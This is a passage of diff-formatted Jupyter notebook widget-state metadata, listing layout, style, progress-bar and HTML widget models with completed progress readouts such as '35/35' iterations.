"IPY_MODEL_9e67bf17f1d64768954b47e3e1001b41", + "value": "100%" + } + }, + "6186ca097ee64f289f1becdd180cf1aa": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "61e7f8494b86497fbe3d96f37206d930": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "62dbb831c6af4a369214dbe8c8a41c77": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "650ea058ba304da9b8febd6a72e10260": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "665e483725974558b1712ef1fa235a7d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "66ec2664ae9049548c50a0729a79b3bc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "6c4f2c3e26614dce84bc1bf63b1e263f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "6f02e4b70ac145a1a9b0d9a97f8a0d6b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "708184f7d3b240a38f17656f8bbfd8ae": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d75aad33f36b432c8175e076ce4cc99e", + "placeholder": "​", + "style": "IPY_MODEL_a3073940c26743b79c7477cbc92cb8e0", + "value": " 50/50 [00:16<00:00, 3.04it/s]" + } + }, + "70b8ac7c48d14a08b0d0eb840d37d410": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7174c6d2b8844dde9ab72574b22b9767": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_3f267dc1656b4c2e9a0496da73081b15", + "IPY_MODEL_fd926a30faed41618593cdb01204d0cc", + "IPY_MODEL_708184f7d3b240a38f17656f8bbfd8ae" + ], + "layout": "IPY_MODEL_a9651ab87eae4180a9729b7e28f11376" + } + }, + "71d6d4c2b61d4739ae78f77f4bababc3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_fe00c60d6a684ade8f1faf85cd0a825e", + "max": 35, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_89174c17b503496ca0652319664f6084", + "value": 35 + } + }, + "71f962cddf284a1fbc5f882dc61d673a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_2ad534b30374491ca6b99f035efa1004", + "IPY_MODEL_db69c9d0fd214da8b42b854d71b87f54", + "IPY_MODEL_6041b74d03bd48f0adea3662f0b9bc27" + ], + "layout": "IPY_MODEL_8ec8c55bace044fd885ed6ada6c3cd23" + } + }, + "75193c4a20844ca2988c9f9a3ffc66c5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "77bdcf219f2e4aa8ba1725329011f2bc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_41c7ad82fa3f4a24a13a09f384e8fd51", + "max": 35, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_3cd041ccf57c46ff91b714b7c572f581", + "value": 35 + } + }, + "7a282eb45d6f4d5da0c6f5241b023b32": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7d12e7d3738f4094a2c1d7a56a03c928": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "7d60b538a6e248369d2df053e9548a14": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7dd5be64da7a41f8875765186bdd0b10": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7f58a5010d77407ca459b1d7209e9280": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "80e10875f83e4889ad1840255ef9c49d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8d89224fff864932a91dc1d1545e1ea6", + "placeholder": "​", + "style": "IPY_MODEL_07d4c54ed84242068b64353eec6593fa", + "value": " 35/35 [00:12<00:00, 3.00it/s]" + } + }, + "81b7286bea0841e6b54dba275f5c71b5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "889529d86c064f73844e8074765f2cf0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2540be75baeb49769f279ad95778a857", + "max": 35, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_b2a6584f8d6f4c2ab221f8f90a1a560a", + "value": 35 + } + }, + "890360c4bd374d74943cb359ba838ab7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "89174c17b503496ca0652319664f6084": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "8d89224fff864932a91dc1d1545e1ea6": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8dccd6692afc41caa28072f35667bfac": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8ec8c55bace044fd885ed6ada6c3cd23": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "91cb9127553d41719924473661d25b51": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "92ef2a1653944c10b5515f618811f749": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "95b5dce9d5e140e78849c5aae374f27c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_606165cb16e74f20a46035ca4ba95e5c", + "IPY_MODEL_a83bca5872324f19a6a024c536141795", + "IPY_MODEL_0f79744697af4a53835dee31a1b4f748" + ], + "layout": "IPY_MODEL_7dd5be64da7a41f8875765186bdd0b10" + } + }, + "95ebc05ee7f640af86a54aadcd40ddbe": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ed5435b53cb646d080918c6720e222bd", + "placeholder": "​", + "style": "IPY_MODEL_cd0e13f6e6dc444c80f7464747846e21", + "value": " 35/35 [00:05<00:00, 6.92it/s]" + } + }, + "96aed170045943a28f42d6b825c66cf3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "970fd0cc56d748ccb2ee2287b33ec5fa": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_75193c4a20844ca2988c9f9a3ffc66c5", + "max": 25, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_c9ca13d641734c4e956555fcbfe2156a", + "value": 25 + } + }, + "9d8254d8917c4874b980ae8e4c72b324": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9e67bf17f1d64768954b47e3e1001b41": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9f6a32585a514034975b71b2954b639f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "a2bc87dd43e14ee0abba026d57cb349f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "a2d89cde3ec1423798f3591a2aadbaef": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_62dbb831c6af4a369214dbe8c8a41c77", + "max": 45, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_bb79f73fb99f4d5885400f7f69c8edcc", + "value": 45 + } + }, + "a3073940c26743b79c7477cbc92cb8e0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "a3a361916b864a3cadb650a563842b16": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": 